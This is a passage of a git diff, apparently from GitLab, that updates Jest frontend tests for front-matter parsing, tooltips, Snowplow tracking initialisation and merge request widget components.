+ ${parseSourceFile(content)} | ${contentWithNewFrontMatter}
+ ${parseSourceFile(contentComplex)} | ${contentComplexWithNewFrontMatter}
+ `(
+ 'returns the correct front matter and modified content',
+ ({ parsedSource, targetContent }) => {
+ expect(parsedSource.matter()).toMatchObject(yamlFrontMatterObj);
+
+ parsedSource.syncMatter(newYamlFrontMatterObj);
+
+ expect(parsedSource.matter()).toMatchObject(newYamlFrontMatterObj);
+ expect(parsedSource.content()).toBe(targetContent);
+ },
+ );
+ });
+
describe('modified content', () => {
const newBody = `${body} ${edit}`;
const newComplexBody = `${complexBody} ${edit}`;
it.each`
- parsedSource | isModified | targetRaw | targetBody
- ${parseSourceFile(content)} | ${false} | ${content} | ${body}
- ${parseSourceFile(content)} | ${true} | ${newContent} | ${newBody}
- ${parseSourceFile(contentComplex)} | ${false} | ${contentComplex} | ${complexBody}
- ${parseSourceFile(contentComplex)} | ${true} | ${newContentComplex} | ${newComplexBody}
+ parsedSource | hasMatter | isModified | targetRaw | targetBody
+ ${parseSourceFile(content)} | ${true} | ${false} | ${content} | ${body}
+ ${parseSourceFile(content)} | ${true} | ${true} | ${newContent} | ${newBody}
+ ${parseSourceFile(contentComplex)} | ${true} | ${false} | ${contentComplex} | ${complexBody}
+ ${parseSourceFile(contentComplex)} | ${true} | ${true} | ${newContentComplex} | ${newComplexBody}
+ ${parseSourceFile(body)} | ${false} | ${false} | ${body} | ${body}
+ ${parseSourceFile(body)} | ${false} | ${true} | ${newBody} | ${newBody}
`(
'returns $isModified after a $targetRaw sync',
- ({ parsedSource, isModified, targetRaw, targetBody }) => {
- parsedSource.sync(targetRaw);
+ ({ parsedSource, hasMatter, isModified, targetRaw, targetBody }) => {
+ parsedSource.syncContent(targetRaw);
+ expect(parsedSource.hasMatter()).toBe(hasMatter);
expect(parsedSource.isModified()).toBe(isModified);
expect(parsedSource.content()).toBe(targetRaw);
expect(parsedSource.content(true)).toBe(targetBody);
diff --git a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
index 645ccedf7e7..d464e6b1895 100644
--- a/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
+++ b/spec/frontend/static_site_editor/services/submit_content_changes_spec.js
@@ -20,7 +20,7 @@ import {
commitMultipleResponse,
createMergeRequestResponse,
sourcePath,
- sourceContent as content,
+ sourceContentYAML as content,
trackingCategory,
images,
} from '../mock_data';
diff --git a/spec/frontend/tooltips/components/tooltips_spec.js b/spec/frontend/tooltips/components/tooltips_spec.js
new file mode 100644
index 00000000000..0edc5248629
--- /dev/null
+++ b/spec/frontend/tooltips/components/tooltips_spec.js
@@ -0,0 +1,202 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlTooltip } from '@gitlab/ui';
+import { useMockMutationObserver } from 'helpers/mock_dom_observer';
+import Tooltips from '~/tooltips/components/tooltips.vue';
+
+describe('tooltips/components/tooltips.vue', () => {
+ const { trigger: triggerMutate, observersCount } = useMockMutationObserver();
+ let wrapper;
+
+ const buildWrapper = () => {
+ wrapper = shallowMount(Tooltips);
+ };
+
+ const createTooltipTarget = (attributes = {}) => {
+ const target = document.createElement('button');
+ const defaults = {
+ title: 'default title',
+ ...attributes,
+ };
+
+ Object.keys(defaults).forEach(name => {
+ target.setAttribute(name, defaults[name]);
+ });
+
+ document.body.appendChild(target);
+
+ return target;
+ };
+
+ const allTooltips = () => wrapper.findAll(GlTooltip);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('addTooltips', () => {
+ let target;
+
+ beforeEach(() => {
+ buildWrapper();
+
+ target = createTooltipTarget();
+ });
+
+ it('attaches tooltips to the targets specified', async () => {
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).props('target')).toBe(target);
+ });
+
+ it('does not attach a tooltip twice to the same element', async () => {
+ wrapper.vm.addTooltips([target]);
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.findAll(GlTooltip)).toHaveLength(1);
+ });
+
+ it('sets tooltip content from title attribute', async () => {
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).text()).toBe(target.getAttribute('title'));
+ });
+
+ it('supports HTML content', async () => {
+ target = createTooltipTarget({
+ title: 'content with <b>HTML</b>',
+ 'data-html': true,
+ });
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).html()).toContain(target.getAttribute('title'));
+ });
+
+ it.each`
+ attribute | value | prop
+ ${'data-placement'} | ${'bottom'} | ${'placement'}
+ ${'data-container'} | ${'custom-container'} | ${'container'}
+ ${'data-boundary'} | ${'viewport'} | ${'boundary'}
+ ${'data-triggers'} | ${'manual'} | ${'triggers'}
+ `(
+ 'sets $prop to $value when $attribute is set in target',
+ async ({ attribute, value, prop }) => {
+ target = createTooltipTarget({ [attribute]: value });
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).props(prop)).toBe(value);
+ },
+ );
+ });
+
+ describe('dispose', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('removes all tooltips when elements is nil', async () => {
+ wrapper.vm.addTooltips([createTooltipTarget(), createTooltipTarget()]);
+ await wrapper.vm.$nextTick();
+
+ wrapper.vm.dispose();
+ await wrapper.vm.$nextTick();
+
+ expect(allTooltips()).toHaveLength(0);
+ });
+
+ it('removes the tooltips that target the elements specified', async () => {
+ const target = createTooltipTarget();
+
+ wrapper.vm.addTooltips([target, createTooltipTarget()]);
+ await wrapper.vm.$nextTick();
+
+ wrapper.vm.dispose(target);
+ await wrapper.vm.$nextTick();
+
+ expect(allTooltips()).toHaveLength(1);
+ });
+ });
+
+ describe('observe', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('removes tooltip when target is removed from the document', async () => {
+ const target = createTooltipTarget();
+
+ wrapper.vm.addTooltips([target, createTooltipTarget()]);
+ await wrapper.vm.$nextTick();
+
+ triggerMutate(document.body, {
+ entry: { removedNodes: [target] },
+ options: { childList: true },
+ });
+ await wrapper.vm.$nextTick();
+
+ expect(allTooltips()).toHaveLength(1);
+ });
+ });
+
+ describe('triggerEvent', () => {
+ it('triggers a bootstrap-vue tooltip global event for the tooltip specified', async () => {
+ const target = createTooltipTarget();
+ const event = 'hide';
+
+ buildWrapper();
+
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.vm.triggerEvent(target, event);
+
+ expect(wrapper.find(GlTooltip).emitted(event)).toHaveLength(1);
+ });
+ });
+
+ describe('fixTitle', () => {
+ it('updates tooltip content with the latest value the target title property', async () => {
+ const target = createTooltipTarget();
+ const currentTitle = 'title';
+ const newTitle = 'new title';
+
+ target.setAttribute('title', currentTitle);
+
+ buildWrapper();
+
+ wrapper.vm.addTooltips([target]);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).text()).toBe(currentTitle);
+
+ target.setAttribute('title', newTitle);
+ wrapper.vm.fixTitle(target);
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlTooltip).text()).toBe(newTitle);
+ });
+ });
+
+ it('disconnects mutation observer on beforeDestroy', () => {
+ buildWrapper();
+ wrapper.vm.addTooltips([createTooltipTarget()]);
+
+ expect(observersCount()).toBe(1);
+
+ wrapper.destroy();
+ expect(observersCount()).toBe(0);
+ });
+});
diff --git a/spec/frontend/tooltips/index_spec.js b/spec/frontend/tooltips/index_spec.js
new file mode 100644
index 00000000000..cc72adee57d
--- /dev/null
+++ b/spec/frontend/tooltips/index_spec.js
@@ -0,0 +1,149 @@
+import jQuery from 'jquery';
+import { initTooltips, dispose, destroy, hide, show, enable, disable, fixTitle } from '~/tooltips';
+
+describe('tooltips/index.js', () => {
+ let tooltipsApp;
+
+ const createTooltipTarget = () => {
+ const target = document.createElement('button');
+ const attributes = {
+ title: 'default title',
+ };
+
+ Object.keys(attributes).forEach(name => {
+ target.setAttribute(name, attributes[name]);
+ });
+
+ target.classList.add('has-tooltip');
+
+ document.body.appendChild(target);
+
+ return target;
+ };
+
+ const buildTooltipsApp = () => {
+ tooltipsApp = initTooltips({ selector: '.has-tooltip' });
+ };
+
+ const triggerEvent = (target, eventName = 'mouseenter') => {
+ const event = new Event(eventName);
+
+ target.dispatchEvent(event);
+ };
+
+ beforeEach(() => {
+ window.gon.glTooltipsEnabled = true;
+ });
+
+ afterEach(() => {
+ document.body.childNodes.forEach(node => node.remove());
+ destroy();
+ });
+
+ describe('initTooltip', () => {
+ it('attaches a GlTooltip for the elements specified in the selector', async () => {
+ const target = createTooltipTarget();
+
+ buildTooltipsApp();
+
+ triggerEvent(target);
+
+ await tooltipsApp.$nextTick();
+
+ expect(document.querySelector('.gl-tooltip')).not.toBe(null);
+ expect(document.querySelector('.gl-tooltip').innerHTML).toContain('default title');
+ });
+
+ it('supports triggering a tooltip in custom events', async () => {
+ const target = createTooltipTarget();
+
+ buildTooltipsApp();
+ triggerEvent(target, 'click');
+
+ await tooltipsApp.$nextTick();
+
+ expect(document.querySelector('.gl-tooltip')).not.toBe(null);
+ expect(document.querySelector('.gl-tooltip').innerHTML).toContain('default title');
+ });
+ });
+
+ describe('dispose', () => {
+ it('removes tooltips that target the elements specified', async () => {
+ const target = createTooltipTarget();
+
+ buildTooltipsApp();
+ triggerEvent(target);
+
+ await tooltipsApp.$nextTick();
+
+ expect(document.querySelector('.gl-tooltip')).not.toBe(null);
+
+ dispose([target]);
+
+ await tooltipsApp.$nextTick();
+
+ expect(document.querySelector('.gl-tooltip')).toBe(null);
+ });
+ });
+
+ it.each`
+ methodName | method | event
+ ${'enable'} | ${enable} | ${'enable'}
+ ${'disable'} | ${disable} | ${'disable'}
+ ${'hide'} | ${hide} | ${'close'}
+ ${'show'} | ${show} | ${'open'}
+ `(
+ '$methodName calls triggerEvent in tooltip app with $event event',
+ async ({ method, event }) => {
+ const target = createTooltipTarget();
+
+ buildTooltipsApp();
+
+ await tooltipsApp.$nextTick();
+
+ jest.spyOn(tooltipsApp, 'triggerEvent');
+
+ method([target]);
+
+ expect(tooltipsApp.triggerEvent).toHaveBeenCalledWith(target, event);
+ },
+ );
+
+ it('fixTitle calls fixTitle in tooltip app with the target specified', async () => {
+ const target = createTooltipTarget();
+
+ buildTooltipsApp();
+
+ await tooltipsApp.$nextTick();
+
+ jest.spyOn(tooltipsApp, 'fixTitle');
+
+ fixTitle([target]);
+
+ expect(tooltipsApp.fixTitle).toHaveBeenCalledWith(target);
+ });
+
+ describe('when glTooltipsEnabled feature flag is disabled', () => {
+ beforeEach(() => {
+ window.gon.glTooltipsEnabled = false;
+ });
+
+ it.each`
+ method | methodName | bootstrapParams
+ ${dispose} | ${'dispose'} | ${'dispose'}
+ ${fixTitle} | ${'fixTitle'} | ${'_fixTitle'}
+ ${enable} | ${'enable'} | ${'enable'}
+ ${disable} | ${'disable'} | ${'disable'}
+ ${hide} | ${'hide'} | ${'hide'}
+ ${show} | ${'show'} | ${'show'}
+ `('delegates $methodName to bootstrap tooltip API', ({ method, bootstrapParams }) => {
+ const elements = jQuery(createTooltipTarget());
+
+ jest.spyOn(jQuery.fn, 'tooltip');
+
+ method(elements);
+
+ expect(elements.tooltip).toHaveBeenCalledWith(bootstrapParams);
+ });
+ });
+});
diff --git a/spec/frontend/tracking_spec.js b/spec/frontend/tracking_spec.js
index 8acfa655c2c..e2d39ffeaf0 100644
--- a/spec/frontend/tracking_spec.js
+++ b/spec/frontend/tracking_spec.js
@@ -1,5 +1,5 @@
import { setHTMLFixture } from './helpers/fixtures';
-import Tracking, { initUserTracking } from '~/tracking';
+import Tracking, { initUserTracking, initDefaultTrackers } from '~/tracking';
describe('Tracking', () => {
let snowplowSpy;
@@ -17,11 +17,6 @@ describe('Tracking', () => {
});
describe('initUserTracking', () => {
- beforeEach(() => {
- bindDocumentSpy = jest.spyOn(Tracking, 'bindDocument').mockImplementation(() => null);
- trackLoadEventsSpy = jest.spyOn(Tracking, 'trackLoadEvents').mockImplementation(() => null);
- });
-
it('calls through to get a new tracker with the expected options', () => {
initUserTracking();
expect(snowplowSpy).toHaveBeenCalledWith('newTracker', '_namespace_', 'app.gitfoo.com', {
@@ -38,9 +33,16 @@ describe('Tracking', () => {
linkClickTracking: false,
});
});
+ });
+
+ describe('initDefaultTrackers', () => {
+ beforeEach(() => {
+ bindDocumentSpy = jest.spyOn(Tracking, 'bindDocument').mockImplementation(() => null);
+ trackLoadEventsSpy = jest.spyOn(Tracking, 'trackLoadEvents').mockImplementation(() => null);
+ });
it('should activate features based on what has been enabled', () => {
- initUserTracking();
+ initDefaultTrackers();
expect(snowplowSpy).toHaveBeenCalledWith('enableActivityTracking', 30, 30);
expect(snowplowSpy).toHaveBeenCalledWith('trackPageView');
expect(snowplowSpy).not.toHaveBeenCalledWith('enableFormTracking');
@@ -52,18 +54,18 @@ describe('Tracking', () => {
linkClickTracking: true,
};
- initUserTracking();
+ initDefaultTrackers();
expect(snowplowSpy).toHaveBeenCalledWith('enableFormTracking');
expect(snowplowSpy).toHaveBeenCalledWith('enableLinkClickTracking');
});
it('binds the document event handling', () => {
- initUserTracking();
+ initDefaultTrackers();
expect(bindDocumentSpy).toHaveBeenCalled();
});
it('tracks page loaded events', () => {
- initUserTracking();
+ initDefaultTrackers();
expect(trackLoadEventsSpy).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mock_data.js b/spec/frontend/vue_mr_widget/components/mock_data.js
index 39c7d75cda5..73e254f2b1a 100644
--- a/spec/frontend/vue_mr_widget/components/mock_data.js
+++ b/spec/frontend/vue_mr_widget/components/mock_data.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const artifactsList = [
{
text: 'result.txt',
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_container_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_container_spec.js
index 60f970e0018..4e3e918f7fb 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_container_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_container_spec.js
@@ -20,8 +20,8 @@ describe('MrWidgetContainer', () => {
it('has layout', () => {
factory();
- expect(wrapper.is('.mr-widget-heading')).toBe(true);
- expect(wrapper.contains('.mr-widget-content')).toBe(true);
+ expect(wrapper.classes()).toContain('mr-widget-heading');
+ expect(wrapper.find('.mr-widget-content').exists()).toBe(true);
});
it('accepts default slot', () => {
@@ -31,7 +31,7 @@ describe('MrWidgetContainer', () => {
},
});
- expect(wrapper.contains('.mr-widget-content .test-body')).toBe(true);
+ expect(wrapper.find('.mr-widget-content .test-body').exists()).toBe(true);
});
it('accepts footer slot', () => {
@@ -42,7 +42,7 @@ describe('MrWidgetContainer', () => {
},
});
- expect(wrapper.contains('.mr-widget-content .test-body')).toBe(true);
- expect(wrapper.contains('.test-footer')).toBe(true);
+ expect(wrapper.find('.mr-widget-content .test-body').exists()).toBe(true);
+ expect(wrapper.find('.test-footer').exists()).toBe(true);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_expandable_section_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_expandable_section_spec.js
index 69a50899d4d..3e111cd308a 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_expandable_section_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_expandable_section_spec.js
@@ -18,7 +18,7 @@ describe('MrWidgetExpanableSection', () => {
});
it('renders Icon', () => {
- expect(wrapper.contains(GlIcon)).toBe(true);
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
});
it('renders header slot', () => {
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
index 21058005d29..caea9a757ae 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js
@@ -25,10 +25,14 @@ describe('MRWidgetHeader', () => {
const downloadEmailPatchesEl = vm.$el.querySelector('.js-download-email-patches');
const downloadPlainDiffEl = vm.$el.querySelector('.js-download-plain-diff');
- expect(downloadEmailPatchesEl.textContent.trim()).toEqual('Email patches');
- expect(downloadEmailPatchesEl.getAttribute('href')).toEqual('/mr/email-patches');
- expect(downloadPlainDiffEl.textContent.trim()).toEqual('Plain diff');
- expect(downloadPlainDiffEl.getAttribute('href')).toEqual('/mr/plainDiffPath');
+ expect(downloadEmailPatchesEl.innerText.trim()).toEqual('Email patches');
+ expect(downloadEmailPatchesEl.querySelector('a').getAttribute('href')).toEqual(
+ '/mr/email-patches',
+ );
+ expect(downloadPlainDiffEl.innerText.trim()).toEqual('Plain diff');
+ expect(downloadPlainDiffEl.querySelector('a').getAttribute('href')).toEqual(
+ '/mr/plainDiffPath',
+ );
};
describe('computed', () => {
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_icon_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_icon_spec.js
index cee0b9b0118..ea8b33495ab 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_icon_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_icon_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import MrWidgetIcon from '~/vue_merge_request_widget/components/mr_widget_icon.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const TEST_ICON = 'commit';
@@ -21,6 +21,6 @@ describe('MrWidgetIcon', () => {
it('renders icon and container', () => {
expect(wrapper.is('.circle-icon-container')).toBe(true);
- expect(wrapper.find(Icon).props('name')).toEqual(TEST_ICON);
+ expect(wrapper.find(GlIcon).props('name')).toEqual(TEST_ICON);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
index 6486826c3ec..7ecd8629607 100644
--- a/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
+++ b/spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js
@@ -29,6 +29,8 @@ describe('MRWidgetPipeline', () => {
const findAllPipelineStages = () => wrapper.findAll(PipelineStage);
const findPipelineCoverage = () => wrapper.find('[data-testid="pipeline-coverage"]');
const findPipelineCoverageDelta = () => wrapper.find('[data-testid="pipeline-coverage-delta"]');
+ const findPipelineCoverageTooltipText = () =>
+ wrapper.find('[data-testid="pipeline-coverage-tooltip"]').text();
const findMonitoringPipelineMessage = () =>
wrapper.find('[data-testid="monitoring-pipeline-message"]');
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
@@ -49,257 +51,208 @@ describe('MRWidgetPipeline', () => {
}
});
- describe('computed', () => {
- describe('hasPipeline', () => {
- beforeEach(() => {
- createWrapper();
- });
-
- it('should return true when there is a pipeline', () => {
- expect(wrapper.vm.hasPipeline).toBe(true);
- });
+ it('should render CI error if there is a pipeline, but no status', () => {
+ createWrapper({ ciStatus: null }, mount);
+ expect(findCIErrorMessage().text()).toBe(ciErrorMessage);
+ });
- it('should return false when there is no pipeline', async () => {
- wrapper.setProps({ pipeline: {} });
+ it('should render a loading state when no pipeline is found', () => {
+ createWrapper({ pipeline: {} }, mount);
- await wrapper.vm.$nextTick();
+ expect(findMonitoringPipelineMessage().text()).toBe(monitoringMessage);
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
- expect(wrapper.vm.hasPipeline).toBe(false);
+ describe('with a pipeline', () => {
+ beforeEach(() => {
+ createWrapper({
+ pipelineCoverageDelta: mockData.pipelineCoverageDelta,
+ buildsWithCoverage: mockData.buildsWithCoverage,
});
});
- describe('hasCIError', () => {
- beforeEach(() => {
- createWrapper();
- });
+ it('should render pipeline ID', () => {
+ expect(
+ findPipelineID()
+ .text()
+ .trim(),
+ ).toBe(`#${mockData.pipeline.id}`);
+ });
- it('should return false when there is no CI error', () => {
- expect(wrapper.vm.hasCIError).toBe(false);
- });
+ it('should render pipeline status and commit id', () => {
+ expect(findPipelineInfoContainer().text()).toMatch(mockData.pipeline.details.status.label);
- it('should return true when there is a pipeline, but no ci status', async () => {
- wrapper.setProps({ ciStatus: null });
+ expect(
+ findCommitLink()
+ .text()
+ .trim(),
+ ).toBe(mockData.pipeline.commit.short_id);
- await wrapper.vm.$nextTick();
+ expect(findCommitLink().attributes('href')).toBe(mockData.pipeline.commit.commit_path);
+ });
- expect(wrapper.vm.hasCIError).toBe(true);
- });
+ it('should render pipeline graph', () => {
+ expect(findPipelineGraph().exists()).toBe(true);
+ expect(findAllPipelineStages().length).toBe(mockData.pipeline.details.stages.length);
});
- describe('coverageDeltaClass', () => {
- beforeEach(() => {
- createWrapper({ pipelineCoverageDelta: '0' });
+ describe('should render pipeline coverage information', () => {
+ it('should render coverage percentage', () => {
+ expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
});
- it('should return no class if there is no coverage change', async () => {
- expect(wrapper.vm.coverageDeltaClass).toBe('');
+ it('should render coverage delta', () => {
+ expect(findPipelineCoverageDelta().exists()).toBe(true);
+ expect(findPipelineCoverageDelta().text()).toBe(`(${mockData.pipelineCoverageDelta}%)`);
});
- it('should return text-success if the coverage increased', async () => {
- wrapper.setProps({ pipelineCoverageDelta: '10' });
-
- await wrapper.vm.$nextTick();
+ it('coverage delta should have no special style if there is no coverage change', () => {
+ createWrapper({ pipelineCoverageDelta: '0' });
+ expect(findPipelineCoverageDelta().classes()).toEqual([]);
+ });
- expect(wrapper.vm.coverageDeltaClass).toBe('text-success');
+ it('coverage delta should have text-success style if coverage increased', () => {
+ createWrapper({ pipelineCoverageDelta: '10' });
+ expect(findPipelineCoverageDelta().classes()).toEqual(['text-success']);
});
- it('should return text-danger if the coverage decreased', async () => {
- wrapper.setProps({ pipelineCoverageDelta: '-12' });
+ it('coverage delta should have text-danger style if coverage increased', () => {
+ createWrapper({ pipelineCoverageDelta: '-10' });
+ expect(findPipelineCoverageDelta().classes()).toEqual(['text-danger']);
+ });
- await wrapper.vm.$nextTick();
+ it('should render tooltip for jobs contributing to code coverage', () => {
+ const tooltipText = findPipelineCoverageTooltipText();
+ const expectedDescription = `Coverage value for this pipeline was calculated by averaging the resulting coverage values of ${mockData.buildsWithCoverage.length} jobs.`;
- expect(wrapper.vm.coverageDeltaClass).toBe('text-danger');
+ expect(tooltipText).toContain(expectedDescription);
});
+
+ it.each(mockData.buildsWithCoverage)(
+ 'should have name and coverage for build %s listed in tooltip',
+ build => {
+ const tooltipText = findPipelineCoverageTooltipText();
+
+ expect(tooltipText).toContain(`${build.name} (${build.coverage}%)`);
+ },
+ );
});
});
- describe('rendered output', () => {
+ describe('without commit path', () => {
beforeEach(() => {
- createWrapper({ ciStatus: null }, mount);
- });
+ const mockCopy = JSON.parse(JSON.stringify(mockData));
+ delete mockCopy.pipeline.commit;
- it('should render CI error if there is a pipeline, but no status', async () => {
- expect(findCIErrorMessage().text()).toBe(ciErrorMessage);
+ createWrapper({});
});
- it('should render a loading state when no pipeline is found', async () => {
- wrapper.setProps({
- pipeline: {},
- hasCi: false,
- pipelineMustSucceed: true,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(findMonitoringPipelineMessage().text()).toBe(monitoringMessage);
- expect(findLoadingIcon().exists()).toBe(true);
+ it('should render pipeline ID', () => {
+ expect(
+ findPipelineID()
+ .text()
+ .trim(),
+ ).toBe(`#${mockData.pipeline.id}`);
});
- describe('with a pipeline', () => {
- beforeEach(() => {
- createWrapper(
- {
- pipelineCoverageDelta: mockData.pipelineCoverageDelta,
- },
- mount,
- );
- });
-
- it('should render pipeline ID', () => {
- expect(
- findPipelineID()
- .text()
- .trim(),
- ).toBe(`#${mockData.pipeline.id}`);
- });
-
- it('should render pipeline status and commit id', () => {
- expect(findPipelineInfoContainer().text()).toMatch(mockData.pipeline.details.status.label);
-
- expect(
- findCommitLink()
- .text()
- .trim(),
- ).toBe(mockData.pipeline.commit.short_id);
-
- expect(findCommitLink().attributes('href')).toBe(mockData.pipeline.commit.commit_path);
- });
-
- it('should render pipeline graph', () => {
- expect(findPipelineGraph().exists()).toBe(true);
- expect(findAllPipelineStages().length).toBe(mockData.pipeline.details.stages.length);
- });
-
- it('should render coverage information', () => {
- expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
- });
+ it('should render pipeline status', () => {
+ expect(findPipelineInfoContainer().text()).toMatch(mockData.pipeline.details.status.label);
+ });
- it('should render pipeline coverage delta information', () => {
- expect(findPipelineCoverageDelta().exists()).toBe(true);
- expect(findPipelineCoverageDelta().text()).toBe(`(${mockData.pipelineCoverageDelta}%)`);
- });
+ it('should render pipeline graph', () => {
+ expect(findPipelineGraph().exists()).toBe(true);
+ expect(findAllPipelineStages().length).toBe(mockData.pipeline.details.stages.length);
});
- describe('without commit path', () => {
- beforeEach(() => {
- const mockCopy = JSON.parse(JSON.stringify(mockData));
- delete mockCopy.pipeline.commit;
+ it('should render coverage information', () => {
+ expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
+ });
+ });
- createWrapper({}, mount);
- });
+ describe('without coverage', () => {
+ beforeEach(() => {
+ const mockCopy = JSON.parse(JSON.stringify(mockData));
+ delete mockCopy.pipeline.coverage;
- it('should render pipeline ID', () => {
- expect(
- findPipelineID()
- .text()
- .trim(),
- ).toBe(`#${mockData.pipeline.id}`);
- });
+ createWrapper({ pipeline: mockCopy.pipeline });
+ });
- it('should render pipeline status', () => {
- expect(findPipelineInfoContainer().text()).toMatch(mockData.pipeline.details.status.label);
- });
+ it('should not render a coverage component', () => {
+ expect(findPipelineCoverage().exists()).toBe(false);
+ });
+ });
- it('should render pipeline graph', () => {
- expect(findPipelineGraph().exists()).toBe(true);
- expect(findAllPipelineStages().length).toBe(mockData.pipeline.details.stages.length);
- });
+ describe('without a pipeline graph', () => {
+ beforeEach(() => {
+ const mockCopy = JSON.parse(JSON.stringify(mockData));
+ delete mockCopy.pipeline.details.stages;
- it('should render coverage information', () => {
- expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
+ createWrapper({
+ pipeline: mockCopy.pipeline,
});
});
- describe('without coverage', () => {
- beforeEach(() => {
- const mockCopy = JSON.parse(JSON.stringify(mockData));
- delete mockCopy.pipeline.coverage;
-
- createWrapper(
- {
- pipeline: mockCopy.pipeline,
- },
- mount,
- );
- });
-
- it('should not render a coverage component', () => {
- expect(findPipelineCoverage().exists()).toBe(false);
- });
+ it('should not render a pipeline graph', () => {
+ expect(findPipelineGraph().exists()).toBe(false);
});
+ });
- describe('without a pipeline graph', () => {
- beforeEach(() => {
- const mockCopy = JSON.parse(JSON.stringify(mockData));
- delete mockCopy.pipeline.details.stages;
+ describe('for each type of pipeline', () => {
+ let pipeline;
- createWrapper({
- pipeline: mockCopy.pipeline,
- });
- });
+ beforeEach(() => {
+ ({ pipeline } = JSON.parse(JSON.stringify(mockData)));
- it('should not render a pipeline graph', () => {
- expect(findPipelineGraph().exists()).toBe(false);
- });
+ pipeline.details.name = 'Pipeline';
+ pipeline.merge_request_event_type = undefined;
+ pipeline.ref.tag = false;
+ pipeline.ref.branch = false;
});
- describe('for each type of pipeline', () => {
- let pipeline;
-
- beforeEach(() => {
- ({ pipeline } = JSON.parse(JSON.stringify(mockData)));
-
- pipeline.details.name = 'Pipeline';
- pipeline.merge_request_event_type = undefined;
- pipeline.ref.tag = false;
- pipeline.ref.branch = false;
+ const factory = () => {
+ createWrapper({
+ pipeline,
+ sourceBranchLink: mockData.source_branch_link,
});
+ };
- const factory = () => {
- createWrapper({
- pipeline,
- sourceBranchLink: mockData.source_branch_link,
- });
- };
-
- describe('for a branch pipeline', () => {
- it('renders a pipeline widget that reads "Pipeline <ID> <status> for <SHA> on <branch>"', () => {
- pipeline.ref.branch = true;
+ describe('for a branch pipeline', () => {
+ it('renders a pipeline widget that reads "Pipeline <ID> <status> for <SHA> on <branch>"', () => {
+ pipeline.ref.branch = true;
- factory();
+ factory();
- const expected = `Pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id} on ${mockData.source_branch_link}`;
- const actual = trimText(findPipelineInfoContainer().text());
+ const expected = `Pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id} on ${mockData.source_branch_link}`;
+ const actual = trimText(findPipelineInfoContainer().text());
- expect(actual).toBe(expected);
- });
+ expect(actual).toBe(expected);
});
+ });
- describe('for a tag pipeline', () => {
- it('renders a pipeline widget that reads "Pipeline <ID> <status> for <SHA> on <branch>"', () => {
- pipeline.ref.tag = true;
+ describe('for a tag pipeline', () => {
+ it('renders a pipeline widget that reads "Pipeline <ID> <status> for <SHA> on <branch>"', () => {
+ pipeline.ref.tag = true;
- factory();
+ factory();
- const expected = `Pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id}`;
- const actual = trimText(findPipelineInfoContainer().text());
+ const expected = `Pipeline #${pipeline.id} ${pipeline.details.status.label} for ${pipeline.commit.short_id}`;
+ const actual = trimText(findPipelineInfoContainer().text());
- expect(actual).toBe(expected);
- });
+ expect(actual).toBe(expected);
});
+ });
- describe('for a detached merge request pipeline', () => {
- it('renders a pipeline widget that reads "Detached merge request pipeline <ID> <status> for <SHA>"', () => {
- pipeline.details.name = 'Detached merge request pipeline';
- pipeline.merge_request_event_type = 'detached';
+ describe('for a detached merge request pipeline', () => {
+ it('renders a pipeline widget that reads "Detached merge request pipeline <ID> <status> for <SHA>"', () => {
